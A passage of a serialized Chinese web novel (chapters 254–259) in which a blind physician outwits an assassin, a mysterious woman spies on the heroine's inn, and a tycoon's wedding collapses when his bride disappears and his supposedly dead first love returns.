何况这个女子,有让他十分熟悉的感觉。不仅感觉熟悉,声音也越发觉得熟悉。 月娘只觉得那触碰让她浑身不自在,像被什么黏腻的东西沾上,她低头,正对上云承月那双睁开的、却空洞无神的眼睛。 “放开我。”云承月的声音很轻,却异常清朗,“你带着我,跑不掉的。” 月娘的动作顿了顿。 这话,倒是实话。 她瞥了一眼巷子口,本能感觉裴应见的气息越来越近了。 她低头看着怀中这个手无缚鸡之力的男人,眼中杀机一闪。 窄巷的尽头,隐约能听到潺潺的水声,那里是穿城而过的一条暗渠。 处理掉他,她自己脱身会快得多。 她立刻抱着他朝水渠走去。 似乎是察觉到了她毫不掩饰的杀意,云承月心头一沉。 这个女人……让他感到熟悉的另外那个人就绝不会有这样冰冷酷烈的念头。 他急忙开口,声音里带上了一丝警告的意味:“你若杀了我,裴应见会追杀你到天涯海角,不死不休。” 月娘手上动作一滞,反问道:“你是什么人?值得他如此?” 第254章 神秘女人 “一个能救你命的人。”云承月笑了,在下云承月,是个……大夫。” 他扯了扯嘴角,露出一抹自嘲的笑意,“你的左肩伤得很重,骨头错位,还中了裴应见的独门手法,若不及时医治,这条手臂,很快就不是你自己的了。” 月娘的瞳孔缩了缩。 云承月继续道:“我身上有药,能解他的手法,也能让你肩上的伤势快速恢复。你放我走,药归你。这是一笔划算的交易。” 月娘立刻在他怀中摸索起来。 很快,她便搜出了一个小瓷瓶。 她将瓶子拿到眼前,却发现瓶身光滑,严丝合缝,根本找不到打开的地方。 她试着用指甲去抠,用牙去咬,那瓶子却纹丝不动。 一股无名火窜上心头,她举起瓶子,就想往地上砸碎。 云承月笑起来:“别白费力气了。这药瓶有机关,除了我,没人打得开。” 月娘的动作僵住,她扭头,那双与某人酷似的眼睛里,此刻全是恼怒和不耐。 云承月在心里暗叹,这个女杀手,武功虽高,脑子却未免太直了些。 他慢条斯理地继续道:“你我做个交易。我打开药瓶,把药给你。你即刻服下,然后找地方运功疗伤。而我,自己离开。从此我们两不相欠。” 月娘权衡了片刻。 肩上的伤势越来越重,身后是穷追不舍的强敌。 这笔交易,对她而言,百利而无一害。 “好。” 云承月似乎是笑了笑,接过药瓶,手指在瓶底某个不起眼的地方轻轻一按,只听“咔哒”一声,瓶盖应声弹开。 他倒出一粒红色的药丸,递给月娘。月娘毫不犹豫地接过,一口吞下。 药丸入口,一股清凉的药香瞬间在口中化开,顺着喉咙滑下,所过之处,那股“千蚁噬心”的酸麻刺痛竟真的开始缓缓消退。 可紧接着,一股强烈的困意,如同潮水般席卷了她的神智。 不好!中计了! 月娘心中警铃大作,抬手便想掐住云承月的脖子,可手臂却绵软无力,连抬起的力气都没有。 药力发作得太快了。 “这药能让你肩骨愈合,但前提是,你必须睡过去。” “你现在有两个选择。一是强撑着,被药力反噬,经脉寸断。二是立刻离开,找个地方睡上一觉,醒来伤势便能好上七八分。” 月娘死死地盯着他,那双眼睛里爆发出野兽般的凶光,可身体却不听使唤,眼皮越来越沉。 她知道,自己没得选。 她用尽最后一丝力气,深深地看了云承月一眼,转身,踉踉跄跄地遁入了更深的黑暗中。 云承月靠着湿冷的墙壁,缓缓滑坐到地上,脸上那抹笑意还未散去,胸口却猛地传来一阵熟悉的绞痛。 他脸色骤变,捂着胸口,剧烈地咳嗽起来。 就在这时,一道身影如风而至,落在他面前。 是裴应见。 裴应见看到他安然无恙,心中那块悬着的巨石终于落了地。 他快步上前将他扶起。 “我没事……”云承月喘息着,“那个女人……那个女刺客,她的脸……” 话未说完,他忽然喉头一甜,一口鲜血猛地咳了出来,接着整个人眼前一黑,彻底失去了意识。 裴应见抱着怀中气息再次微弱下去的挚友,感受着他身体里那正在飞速流逝的生机。 他拧紧眉头,下一瞬,身后迷雾突起。 他不再犹豫,转身飞速踏入了迷雾之中。 …… 傍晚时分,一辆线条流畅的黑色豪车,悄无声息地滑入私立医院的地下停车场。 车门开启,先探出的是一只踩着精致高跟鞋的脚,鞋面在昏暗的灯光下,反射出幽微的光泽。 王院长早已等候在电梯口,背心被紧张的汗浸湿了一片。 他不停地整理着自己的白大褂,一看到那道身影,立刻三步并作两步地迎了上去。 “……你来了。” 来人并未看他,只是微微颔首。 她周身散发着一种生人勿近的优雅清贵之气。 她穿着一身剪裁得体的米色长裙,身段窈窕,风韵绝佳。 尽管脸上戴着一副宽大的墨镜,遮住了大半容颜,但那份从骨子里透出的气场,依旧让王院长不敢直视。 王院长殷勤地按了电梯,一路将她引至裴应见曾经住过的那间VIP病房。 他屏退了所有护士,亲自用备用卡刷开了房门。 “就是这里,他们之前就住在这儿。” 女人走进病房,摘下墨镜,露出一双保养得极好的眼睛。 她没有四处打量,而是将一个随身携带的银色手提箱放在了病床中央的桌板上。 箱子造型奇特,没有锁孔,只有一块光滑的金属面板。 女人将手掌按在面板上,只听“嘀”的一声轻响,箱盖自动弹开。 王院长伸长了脖子,好奇地往里看,只见箱内是一堆他完全看不懂的、由无数精密零件和线路板组成的仪器。 女人没理会他的窥探,自顾自地从箱中取出一个个部件,熟练地组装起来。 她的手指纤长白皙,动作却干脆利落,不过片刻,一台造型前卫的探测仪便出现在桌上。 她启动仪器,一道淡蓝色的光束从仪器顶端射出,开始在房间内无声地扫描。 墙壁、地板、床铺、窗帘……光束所过之处,仪器屏幕上便浮现出一连串复杂的数据流和三维模型。 王院长站在一旁,大气都不敢出,只觉得眼前这一幕,比他看过的任何科幻电影都要离奇。 时间一分一秒地过去。 终于,仪器发出一声清脆的提示音,屏幕上跳出一个绿色的“确认”标识。 女人盯着屏幕上的最终分析报告,紧绷的嘴角,终于有了一丝松动。 “数据吻合,他们确实在这里待过。”她关掉仪器,看向王院长,语气里带上了一分赞许,“你做得很好。” 王院长受宠若惊,腰都塌下去了几分,脸上堆满了谄媚的笑: “应该的,应该的!能为你办事,是、是我的荣幸!那个……你看天色也不早了,不知道我能不能请你吃顿便饭……” “吃饭?”女人的声音陡然转冷,刚才那点和缓荡然无存。 她转过头,那双漂亮的眼睛里此刻满是寒意:“人呢?我让你看好的人,现在在哪里?” 第255章 秦绵绵在演戏? 王院长脸上的笑容瞬间僵住,冷汗又冒了出来,结结巴巴地解释: “我……我派人找遍了医院,也查了监控,他们……他们就像凭空消失了一样,实在是……实在是找不到啊……” 他急忙补充道:“那个秦绵绵,她不也一样没找到人么?我瞧着她这几天也挺着急的。” 女人发出一声不屑的冷笑。 “秦绵绵?”她慢条斯理地将仪器拆解,重新装回箱子里,动作优雅,“那丫头片子,可不是什么省油的灯。他们人生地不熟,除了她,还能投靠谁?” 王院长一愣,随即恍然大悟。 这两个人的失踪根本就是跟秦绵绵有关。 秦绵绵是在演戏! 说不定人就是她藏起来的! “她……她为什么要这么做?” “为什么?”女人合上箱盖,声音里透着一股不容置喙的笃定,“因为那个姓裴的,很重要。” 亦或许,是他们已经察觉到了来自她的遥远的窥探。 不过这些都不重要,那个姓裴的,重要到她一定要来亲自窥探的。 她拎起箱子,径直走向门口,丢下一句话:“立刻备车,去那丫头客栈所在的景区。” 王院长连忙跟上:“……你要直接去他们景区找人?那可是那姓秦的小丫头的地盘……” 女人脚步不停,侧脸的线条冷硬如雕塑。 “我研究了二十多年,这个项目能不能有所突破,所有的关键,现在都在那个姓裴的身上。” “我绝不允许,在最后关头出任何岔子。” 话音落下,她的人已经消失在走廊尽头。 王院长呆立在原地,想着女人临走时眼中的偏执与狂热,只觉得一股寒气从脚底板,直冲天灵盖。 再想到女人绝代风华的美貌,又忍不住生出了满心的惋惜。 二十年了,他仍然是连跟她一起吃顿饭都没有资格…… …… 景区外围的小镇,与景区内的精致热闹相比,显得有些落拓。 女人并未靠近景区,而是直接在小镇下了车,然后在镇上一间毫不起眼的小旅馆落了脚。 旅馆的招牌油漆斑驳,前台的老板娘磕着瓜子,眼皮都懒得抬一下。 房间更是简陋,空气中弥漫着一股潮湿与劣质香薰混合的怪味。 她却像是丝毫未觉,只将那只银色手提箱稳稳放在床头柜上,随即打开了随身的行李袋。 片刻之后,从浴室出来的,已是一个与先前判若两人的身影。 原本窈窕合度的身形被一件浆洗得发硬、颜色暗沉的粗布衣裳和长裤包裹,显得臃肿而笨拙。 她刻意弓着背,步履也变得缓慢而有些迟滞,完全没了此前那份清贵优雅的从容。 脸上那副时尚的墨镜不见了,取而代之的是一副厚重的黑框老花镜,几乎遮住了她大半张脸。 镜片后的眼睛,失去了往日的锐利与神采,显得有些浑浊而疲惫。 原本细致的皮肤被一种特殊的妆容涂抹得蜡黄粗糙,眼角和法令纹处也刻意加深了痕迹,让她看起来比实际年龄苍老了许多。 一头精心打理的卷发被梳得一丝不苟,紧紧盘在脑后,用一根老旧的发簪固定,额前还垂下几缕参差不齐的刘海,完全破坏了她原本的脸型。 任谁见了,都会以为眼前只是一个饱经风霜、泯然于众人的寻常妇人,绝不会与此前那个气场迫人的优雅女性联系起来。 她对着镜子审视片刻,嘴角勾起一抹几不可察的弧度,满意地推门而出。 白日里的景区,游人七七八八。 女人混在人群中,像一滴水融入大海,毫不起眼。 她走走停停,目光看似随意地掠过每一个摊贩,每一间店铺,实则将周遭的一切尽收眼底。 秦绵绵的如意客栈在景区位置十分显眼。 女人信步走入客栈大堂,寻了一张临窗的空桌坐下。 朱七妹正擦拭着桌椅,见有客人进来,立刻热情地迎了上去,比划着问她想吃点什么。 距离朱七妹的“婚礼”马上就到了,但意外的是,她仍然在工作,仿佛什么事都没发生过一样。 女人抬眼看了看朱七妹,后者脸上挂着笑容,眼中并无丝毫异样,显然并未认出她。 她心中微松,声音低沉粗哑地应道: “随便来些清淡的便饭就行。” 朱七妹就推荐了招牌的盖饭,女人应了,朱七妹转头去下单,罗小胖就赶紧钻进厨房去做。 不一会,香气扑鼻的盖饭就端上来了,女低头慢慢吃着,似乎很专心,对周围的一切都不是很在意。 但实际上,她的注意力一直关注着客栈里的每一个人。 中午刚过,客栈里客人不多。 当中大桌旁围坐着好几个人,包括刚忙完的朱七妹和罗小胖。 秦绵绵坐在主位,眉头微蹙,正与他们低声交谈。 罗小胖那张圆脸上满是焦急: “这都好几天了,裴先生一点消息都没有,咱们总不能就这么干等着吧?” 李一鸣啧了一声: “我已经托了海城的朋友四处打探,可海城这么大,裴先生若是有心躲藏,怕是不好找。” 伤势初愈归来的的叶子舟脸色还有些苍白,他看了一眼身旁的妹妹叶子雯,又转向秦绵绵: “裴先生会不会已经离开了海城?” 第256章 她的回应 女人慢条斯理地吃完饭,顺手结账。 客栈里的人都还在热烈讨论,没人多看她一眼。 女人嘴角勾起一抹几不可察的弧度,离开了客栈和景区,回镇上去了。 却不知道她走后没多久,秦绵绵与众人又商议了一阵,就让大家各自休午休。 她则独自上了二楼,推开自己房间的门,反手将门关上。 几乎是同时,一双有力的手臂从身后环了上来,将她紧紧拥入一个炙热而熟悉的怀抱。 秦绵绵身子微微一僵,随即放松下来。 这股气息,这霸道的力道,除了裴应见,再无旁人。 他将下巴抵在她的颈窝,声音带着一丝沙哑:“回来了。” 秦绵绵“嗯”了一声,鼻腔里满是他身上清冽的皂角混合着淡淡药草的味道,意外地并不难闻。 裴应见似乎不满足于此,将她的身子扳了过来,面对着自己。 那双深邃的眸子像是两团燃烧的火焰,紧紧攫住她的视线。 下一瞬,不等秦绵绵有所反应,炙热的吻便铺天盖地地落了下来。 “唔……” 秦绵绵下意识地想推拒。 床榻上,云承月还人事不省地躺着呢。 这家伙,也太不分场合了! 她的手抵在他坚实的胸膛上,试图将他推开些许,可裴应见却像是早已洞悉她的意图,手臂收得更紧,吻也越发急切和霸道,带着不容抗拒的力道,辗转吮吸,仿佛要将她整个人都吞吃入腹。 秦绵绵的抵抗显得那样微不足道。 这家伙…… 上次见面,他还是个重伤员,在医院里抢救了一整夜,浑身是血,脸色苍白得像纸。 她第二天还没来得及同他说上几句话,就因为朱七妹和萧玦的事情匆匆赶回客栈。 等她再折返回医院时,他跟云承月却已经消失得无影无踪。 虽然他们之间有一种旁人难以理解的默契,她也笃定他不会真的出事,毕竟以他的本事,若真想躲起来,谁也找不到。 她秦绵绵也不是那种离了男人就活不了的小女生性子,担忧归担忧,却还不至于方寸大乱。 可此刻,感受着他熟悉的气息和强悍的力道,那份潜藏在心底深处的担忧才如同冰雪消融般散去。 他还活着,活生生地,就在她面前。 想到这里,那点微弱的抵抗便彻底松懈了。 秦绵绵垂在身侧的手指蜷了蜷,紧绷的身体也渐渐软化下来,甚至在裴应见越发深入的索取中,带上了一丝几不可察的回应意味。 裴应见浑身一震。 他敏锐地察觉到了怀中人儿的变化。 这是她第一次,没有明确地推开他,甚至……还有了回应? 这个认知让他心头狂喜,动作不由自主地顿了一瞬,连呼吸都跟着滞了滞。 就是这么一愣神的功夫,怀里的人儿却像一条滑不留手的泥鳅,猛地矮身,从他的臂弯下钻了出去。 裴应见:“……” 他伸出手,想要将人重新捞回来,指尖却只触碰到一片虚空。 一股难以言喻的懊恼涌上心头,他刚刚就不该发愣! 秦绵绵却已经快步走到了床边,故作镇定地整理了一下自己微乱的衣衫和鬓发,转头看向云承月,声音带着一丝刻意压低的平稳: “我再给他看看,或许可以再施一次针,让他醒过来。” 昨晚裴应见带着云承月突然出现在客栈时,云承月的状态差到了极点,气息若有似无,全靠裴应见一口真气吊着。 正如裴应见所说,云承月的心疾已经到了强弩之末,是真的拖不得了。 秦绵绵当机立断,用银针封住了他几处大穴,才算暂时稳住了他飞速流逝的生机。 此刻,她从随身的布包里取出针袋,铺陈开来,数十根长短不一的银针在光下泛着冷芒。 裴应见走到她身侧,没再胡闹,只是安静地看着她取针、消毒。 秦绵绵凝神静气,指尖拈起一根细长的银针,看准了云承月胸前的穴位,稳稳刺入。 她的动作行云流水,没有丝毫迟滞。 “酒精。”她轻声道。 裴应见立刻递上沾了酒精的棉球。 “三号针。” 他迅速从针袋中拣出她要的那根。 两人一言一语,配合得天衣无缝,仿佛已经这样搭档过千百次。 半个时辰后,秦绵绵施完最后一针,额角已经沁出了细密的汗珠。 她长舒一口气,整个人都显得有些疲惫。 一块温热的毛巾轻轻擦过她的额头。 “辛苦了。”裴应见的声音低沉而温柔,“你的医术,比我想象中还要好。” “跟我四叔比,还差得远。我这些不过是跟着他学的皮毛,关键时刻救急还行,真要论医理,我连门都没入。”秦绵绵摇了摇头。 裴应见顺势问道:“四叔最近可有消息传回来?” “没有。”秦绵绵眉心微蹙,“好几天联系不上了,也不知道他那边顺不顺利,更不知道他清不清楚海城这边的情况。” 裴应见看着她忧虑的神色,伸手抚平她蹙起的眉头:“别担心。朱七妹的事,我陪你一起扛。” “其实七妹的事,我倒不怎么担心。”秦绵绵啧了一声,眼神里透着几分笃定,“我总觉得,她心里有自己的谱,萧玦看起来嚣张,最后说不定还是会栽在她手里。反倒是另一件事……” 裴应见当然知道她指的是什么,就是那个王院长,和他背后的势力。 他也正是因为那个医院和那个王院长有猫腻,才带着云承月匆匆离开的。 秦绵绵压低了声音:“我已经让罗小胖他们都以为我还在为你担心,四处托人找你。客栈里没人知道你昨晚就回来了。” “做得好。”裴应见赞许道。 “所以,那个王院长到底怎么回事?”秦绵绵问出了心底的疑惑。 裴应见斟酌了一下,正要将医院里听到的、关于那个神秘女人的事,以及他一直想问的,那个叫月娘的女杀手的事情一并说出,床榻上的人却忽然发出了一声极轻的呻吟。 “嗯……” 云承月眼睫颤了颤,缓缓睁开了眼睛。 第257章 秘密传信 云承月幽幽转醒,眼前依旧是一片虚无的黑暗。他并未惊慌,只是侧耳倾听,感受着周遭的动静。 空气里,有两道呼吸声。 一道沉稳有力,却带着一丝不易察觉的紊乱,是他熟悉的。另一道稍显急促,混合着女子的清香与药草的淡雅,是陌生的。 “望之?”云承月试探着开口,声音还带着久病初醒的虚弱,却清润如玉石相击。 裴应见立刻俯身:“我在。这里是秦小姐的客栈,我们暂时安全了。” “哦?客栈……”云承月唇边漾开一抹浅笑,他看不见,却仿佛能描摹出眼前的景象,“听这动静,我这是……扰了你们的好事?” 秦绵绵脸上顿时浮现一丝可疑的红晕。 这家伙眼睛看不见,嘴巴可是厉害得很。 刚刚历经生死,且自己还带着病,竟然一醒来就可以拿他们开玩笑。 她有些无语,但忽然也有些明白了,为什么性子冷硬的裴应见会与这样一个人成为挚友。 眼前的云承月,虽眉眼依旧温和柔美,但面色苍白得近乎透明,唇无血色。 比起秦绵绵初次见他时,他此刻的状态更差了,整个人瘦得仿佛只剩下一副骨架,静静躺在那里,脆弱得像一件一碰即碎的瓷器。 而据裴应见所说,云承月是胎里带的毛病,打从一生下来就体弱,长大真大,从未站起来过,一直都是坐轮椅。 也从未见过一天光明,从小就是个瞎子。 还有很严重的心疾,严重到他医术超群,在大雍堪称神医,也治不了自己的病。 只能寄希望于秦绵绵这里。 可就这么一个体弱多病看起来似乎生无可恋的人,他偏偏没有半分病态的阴郁,反而眉眼间总带着一抹恬淡自若的笑意,仿佛这世间没什么能真正扰乱他的心绪,哪怕他自己的命已经如风中残烛。 不得不说,这份心性,真的异于常人。 裴应见和他做好友,也是情理之中了。 被云承月这么一打岔,裴应见原先想说的话也咽了回去。 他轻咳一声,将话题引回正轨:“你感觉如何?” “死不了。”云承月笑了笑,“有秦小姐的针法吊着,阎王爷暂时还不敢收我。” “别说这些不吉利的话。”秦绵绵皱眉,语气却不自觉地放软了些,“王院长那里不靠谱,我已经立刻联系了钱老先生,他帮忙联系了另一家私人医院,设备和医生都是顶尖的。明天一早,就送你过去准备手术。” 裴应见点头:“明天我让盛意过来,他会安排好一切。” “那你呢?”秦绵绵下意识地问,“你的伤也还没好利索,不一起过去休养?” “他?”云承月又接了话,调侃的意味更浓,“他当然是要留下来,陪你咯。” 秦绵绵正想说“不用”,她自己能应付。 裴应见却悄无声息地站到了她身侧,垂在身侧的手,不着痕迹地勾住了她的尾指,用指腹在她手心轻轻挠了一下。 秦绵绵心中一动,到嘴边的话,就这么卡在了喉咙里。 最后只好也悄无声息地挠他的手,算作对他的回应。 …… 第二天清晨,天刚蒙蒙亮。 盛意带着他的人悄然抵达,没有惊动客栈里的任何一个人。 紧接着,五支一模一样的车队,从景区出口驶出,分别朝着不同的方向疾驰而去。 镇上小旅馆的窗边,那道伪装成寻常妇人的身影,拿着一个老旧的望远镜,看着这阵仗,起初确实有些发懵。 但很快,她放下了望远镜,嘴角勾起一抹了然的微笑。 果然,没过多久,手机屏幕亮起,一条没有任何署名的信息弹了出来,上面只有一个简单的字符:“东三”。 女人拎起她的银色手提箱,毫不犹豫地出门,驱车跟上了往东边去的第三支车队。 车队最终的目的地,是位于城市另一端的一家安保级别极高的私立疗养院。 女人再度乔装,换上了一身护工的衣服,戴上口罩,压低帽檐,打算混进去。 可当她走到疗养院戒备森严的大门口时,脚步却猛地顿住。 门口站岗的,不止是穿着制服的保安,暗处还有数道隐晦而锐利的视线锁定了她。 那些人穿着便服,但无论是站姿还是眼神,都透着一股军人才有的铁血肃杀之气,腰间鼓鼓囊囊,明显是荷枪实弹。 女人的心猛地一沉。 她只在原地停顿了两秒,便立刻转身,以最自然的速度,混入街角的人流,迅速消失不见。 几乎就在她转身的瞬间,门口的安保便追了上来,但女人动作太快,盛意的手下最终还是没有能追得上。 手下没能看清那女人的模样,但还是将这个异常情况层层上报,最终传到了盛意的耳中,盛意又立刻汇报给了裴应见和秦绵绵。 客栈大堂里,秦绵绵正和众人说着话。 得到这个消息,她一点也不意外。 明天就是朱七妹的“婚礼”了,她现在没心思去管那些藏在暗处的人。 为了防止消息走漏,她依旧没有向任何人透露裴应见和云承月已经回来的事。 但客栈里的人却知道今早有些大阵仗。 李一鸣到底还是按捺不住好奇,凑过来问:“掌柜的,今儿早上那么大阵仗,是送什么大人物走了,到底怎么回事,说说嘛!” “不该问的别问吧。”叶子舟幽幽道,“掌柜的不说,自然有不说的道理。” “就是就是!”罗小胖在一旁连连附和。 然而,众人散去后,罗小胖独自回到后厨,他左右看了看,确定四下无人,才摸出自己的手机。 他点开一个加密的聊天软件,飞快地将里面的聊天记录和联系人彻底删除,做完这一切,他才像是松了口气,但额角却沁出了一层细密的冷汗,眼神里透着一丝心虚。 可是他却忽略了,此刻天气热,厨房的窗子都是大开的。 而别处看不到,客栈的二楼却堪堪能看得到他的厨房。 此时此刻,二楼的窗户后面,一道颀长俊逸的身影静静伫立。 裴应见将楼下罗小胖的一举一动,尽收眼底,深邃的眸子里,掠过一抹冰冷的寒芒。 第258章 新娘子不见了 当天下午,客栈的宁静被一阵急促的脚步声打破。 赵立生三步并作两步地跑进大堂,上气不接下气,“萧……萧玦!他带人把景区给封了!正往咱们这边来呢!” 话音未落,客栈外已经传来一阵嘈杂。 原本还在景区里闲逛的游客,此刻像是被驱赶的羊群,骂骂咧咧地被一群黑衣人“请”了出去。 紧接着,客栈那扇古色古香的木门被“砰”地一声,粗暴推开。 萧玦逆着光,推着轮椅慢悠悠走到了门口,他身后跟着数名身材魁梧的保镖,强大的压迫感瞬间充斥了整个大堂。 客栈里众人脸色皆是一变。 然而,不等萧玦开口,另一道更响亮的“哐当”声响起。 大门忽而又被人从里面用门栓死死地关上了。 门外萧玦的脸瞬间黑如锅底。 门是朱七妹关的。 她面无表情地拍了拍手上的灰,转身站到了秦绵绵身后,比划了几句。 秦绵绵从容地站起身,隔着那道门,不疾不徐地开口: “萧先生,七妹说了,按照老规矩,成婚前一天新人是不能见面的,不吉利。你明天直接来迎亲就是。” 萧玦皱眉。 他身后的保镖立刻上前,作势要砸门。 “萧先生想清楚,”秦绵绵的声音依旧平稳,“明天就是婚礼,你今天要是把这门砸了,传出去,是你萧先生强抢民女,还是明媒正娶?” 门外的动作停住了。 萧玦死死盯着门板。 他不是在乎名声的人,但他要的是一场风光体面的婚礼,而不是一场粗暴的掠夺。 半晌,他从牙缝里挤出几个字:“好,我等。” 他挥了挥手,身后的人立刻将几个大箱子放在门口:“婚纱,礼服都在这里。还有最好的妆造团队,我也留下……别给我耍花样。” 说完,他才带着人,头也不回地离开了。 …… 第二天,天色未明。 一列望不到头的黑色豪车组成的车队,便如一条沉默的巨龙,盘踞在景区门口,阵仗惊人。 这一次,萧玦没有丝毫耐心,直接让人撞开了客栈大门。 然而,预想中的慌乱并未出现。 大堂里灯火通明。 秦绵绵、李一鸣、叶子舟兄妹、罗小胖……客栈的所有人,都已穿戴整齐,分坐两旁。 而在主位上,端坐着一位凤冠霞帔,头蒙红盖的新娘。 不是他送来的西式婚纱,而是一身繁复精美的中式嫁衣,红得耀眼。 萧玦的眉头拧成了一个疙瘩,不悦道: “我送来的婚纱呢?” 秦绵绵代为回答:“七妹说她不喜欢。这身嫁衣,是她早就为自己准备好的。” 盖头下的朱七妹,也轻轻点了点头。 萧玦盯着那抹鲜红,听到“早就准备好”这几个字,心头那股无名火竟奇异地消散了些许。 原来,她也早就盼着这场婚礼么? 这个认知让他莫名顺心了些。 “行。”他大手一挥,对自己身后的仆从吩咐,“去,给我弄一套配套的中式礼服来,快!” 他要扶着朱七妹上车,目光一扫,却又皱眉:“小宝呢?” 朱七妹伸出手,比划了一下。 秦绵绵在一旁“翻译”:“小宝病了,在房间睡觉。” 萧玦眼神一厉,显然不信,使了个眼色,立刻有手下快步到后院查看。 片刻后,手下回报,孩子确实状态不好,睡得正沉。 萧玦的动作一顿。 他忽然想起朱七妹曾经说过,朱小宝自出生后,每次听到关于他的消息,都会生病。 他的脸上,罕见地划过一抹极其不自然的赧然。 “叫医疗队来守着。”他生硬地丢下一句,随后扶着朱七妹,大步走向婚车,“我们去酒店。” …… 海城最顶级的酒店宴会厅,宾客满座,布置奢华。 婚礼进行曲已经奏响,换好中式礼服的萧玦将轮椅定在台前,一向冷厉的神色间难掩期待。 可时间一分一秒过去,本该出场的新娘,却迟迟没有出现。 音乐停了,场下的议论声渐渐大了起来,气氛变得凝重而诡异。 萧玦脸上的笑容一点点消失,后知后觉地意识到什么,脸色骤然铁青。 “人呢!”他低吼。 一名手下连滚带爬地跑来,声音都在发抖:“萧……萧总,新娘休息室……没人!” 轰! 萧玦脑中那根名为理智的弦,彻底崩断。 他猛地转头,那双充血的眼睛,如鹰隼般死死锁定了宾客席中的秦绵绵。 “把她给我围起来!” 一声令下,数十名荷枪实弹的保镖瞬间涌上,黑洞洞的武器齐刷刷对准了秦绵绵。 全场一片尖叫。 萧玦走到秦绵绵身前,周身散发着骇人的戾气,一字一顿: “你把七妹藏哪了?交出来!” 秦绵绵面对黑洞洞的武器,脸上连一丝多余的表情都没有。 她甚至好整以暇地拿起桌上的茶杯,轻轻吹了吹浮沫,动作优雅得仿佛在自家后院喝下午茶,而不是在被人用武器指着脑袋。 “萧先生,”她掀起眼皮,目光平静无波,“新娘子是你自己的,婚礼前一刻弄丢了,反倒气势汹汹地来问我要人。这道理,说不通吧?” 李一鸣和叶子舟兄妹等人早已吓得面色发白,却还是强撑着站到了秦绵绵身侧,摆出了一副护卫的姿态。 “就是!我们掌柜的今天一直跟我们在一起,哪有时间去藏人!”李一鸣壮着胆子喊道。 萧玦根本不理会这些蝼蚁,他死死地盯着秦绵绵,轮椅的扶手被他捏得咯吱作响,手背上青筋暴起。 “我再问一遍,人在哪?”他几乎是从牙缝里挤出这几个字,“别逼我把你的客栈,连同里面的人,一起干掉!” 全场宾客哗然,谁也没想到这位手段狠戾的京圈太子爷,竟会在自己的婚礼上,当着全网直播的面,说出如此骇人的威胁。 这已经不是单纯的找人,而是赤裸裸的恐吓。 秦绵绵闻言,却“嗤”地一声笑了出来。 那笑声清脆,在这剑拔弩张的气氛里显得格外刺耳。 她放下茶杯,站起身,好笑地看着他,“萧玦,你是不是急糊涂了?我要真想把朱七妹藏起来,有的是时间和法子,何必非要等到今天?” 第259章 她只是个替身 她环视了一圈宴会厅里那些闪烁的镜头和惊慌失措的名流,声音不大,却清晰地传遍全场: “选在你这场世纪婚礼上,当着全海城的媒体和宾客,当着全网直播的面,把你的新娘子弄丢。我秦绵绵是嫌命太长,非要用这种方式,把自己逼上绝路么?” 她的反问有理有据,逻辑清晰,瞬间让在场的不少人冷静下来,开始觉得事情确有蹊跷。 是啊,谁会这么傻? 萧玦的理智却早已被怒火和一种莫名的恐慌吞噬。 他不在乎什么直播,不在乎什么名声,他只知道,他不能再失去朱七妹了。 上一次的失去,已经耗尽了他半条命。 “我不管!”他咬牙,眼底布满血丝,“我给你十分钟,找不到人,你们所有人都别想活着离开这里!给我搜!全城去搜!” 就在他手下得令,正要冲出去的瞬间, “吱呀——” 宴会厅那两扇沉重的雕花大门,被人从外面缓缓推开。 逆着光,一道窈窕而消瘦的身影,静静地站在门口。 她戴着一顶宽大的遮阳帽,帽檐压得很低,让人看不清她的容貌,身上只穿着一件素净的白色连衣裙,与这满室的奢华格格不入。 可她一开口,那清冷中又带着几分幽怨温柔的嗓音,却像一道惊雷,瞬间劈中了场中最疯狂的那个人。 “阿玦,”她轻声问,声音里带着一丝令人心碎的委屈,“我不过是走了些时日,你就要另娶旁人了吗?” “你不是说好,会爱我一辈子,等我一辈子的吗?” 轰隆! 整个世界仿佛都在萧玦耳边炸开。 他脸上的血色“唰”地一下尽数褪去,变得惨白如纸。 那双杀伐果断、狠戾无情的眼睛里,此刻只剩下铺天盖地的震惊和难以置信。 他猛地一震,身体剧烈地晃动,竟险些从轮椅上栽倒下来。 这个声音…… 这个声音他至死都不会忘记! 这是……本该早已死去,尸骨无存的……岑小柔! “小柔!”萧玦疯了般嘶吼,双手发力,猛地转动轮椅,不顾一切地朝门口冲去。 动作太猛,轮椅撞到桌角,他整个人被惯性掀翻,狼狈地摔在了地上。 全场宾客倒抽冷气。 无数的闪光灯疯狂亮起,将这位京圈太子爷此刻的失态与狼狈,清晰地记录下来。 “快!扶老板起来!”保镖们乱作一团,手忙脚乱地将他扶回轮椅。 可萧玦根本不管不顾,他挣脱了手下,双眼通红,死死地盯着门口那个人影,眼泪毫无征兆地夺眶而出。 他像个迷路的孩子,又像头受伤的野兽,失语般地,只能一遍遍重复着那个名字。 “小柔……小柔……” 宾客席早已炸开了锅。 “天哪,是岑小柔?她不是死了吗?” “……我听过传闻,说萧玦为了这个女人差点疯了,看来是真的……” “死去的白月光在婚礼当天回来……这剧情,比电视剧还精彩!” 媒体记者们更是兴奋得两眼放光,直播间的弹幕早已刷成了白茫茫的一片。 就在萧玦终于被手下推着,马上要冲到门口那人跟前时,那道身影却轻轻向后退了一步,阻止了他的靠近。 “阿玦,”她的声音依旧温柔,却带着拒人于千里之外的疏离,“你还没有回答我。” 她抬起头,帽檐下露出一截苍白的下巴,字字句句,都像是在凌迟萧玦的心。 “你为什么,要娶别人?” “我……”萧玦语塞,滔天的狂喜被这句质问浇得冰冷,他慌乱解释,“我以为你死了……他们都说你死了!尸骨无存……我找了你那么久……” “所以,你就找了个人代替我吗?”女人打断他,声音里透出浓浓的悲戚,“我们的誓言呢?你说过,此生非我不可。你就这么……等我的?” 她的话,像一把钝刀,一下下割在萧玦心上。 也把他逼到了悬崖边上。 当着所有宾客,当着全网的直播,他所有的体面和伪装都被撕得粉碎。 萧玦猛地转头,那双充血的眼睛扫过秦绵绵,最终落在了虚空处,仿佛看到了那个他名义上的新娘。 他眼底的挣扎与痛苦,在短短几秒内,尽数化为一种破釜沉舟的狠戾。 “是。”他冷酷出声,声音大到整个宴会厅都嗡嗡作响,“我根本不爱她,朱七妹不过是个替身!一个跟你有点像的哑巴……连那个孩子,我也不在乎!” “小柔,现在你回来了。”他转向门口,神情癫狂而炽热,“我只爱你!这辈子我想娶的人,从始至终,只有你一个!” 哗——! 全场哗然! “疯了,萧玦真的疯了!” “当众说新娘是替身,连孩子都不要了?这也太狠了!” “可……又觉得他好深情是怎么回事?” 舆论瞬间两极分化。 萧玦却像是在这疯狂的宣泄中找到了出口,他得寸进尺,朝门口的女人伸出手,语气是前所未有的急切: “小柔,既然你回来了,正好!今天就是我们的婚礼!我们现在就结婚!” 他要直接将新娘换成她。 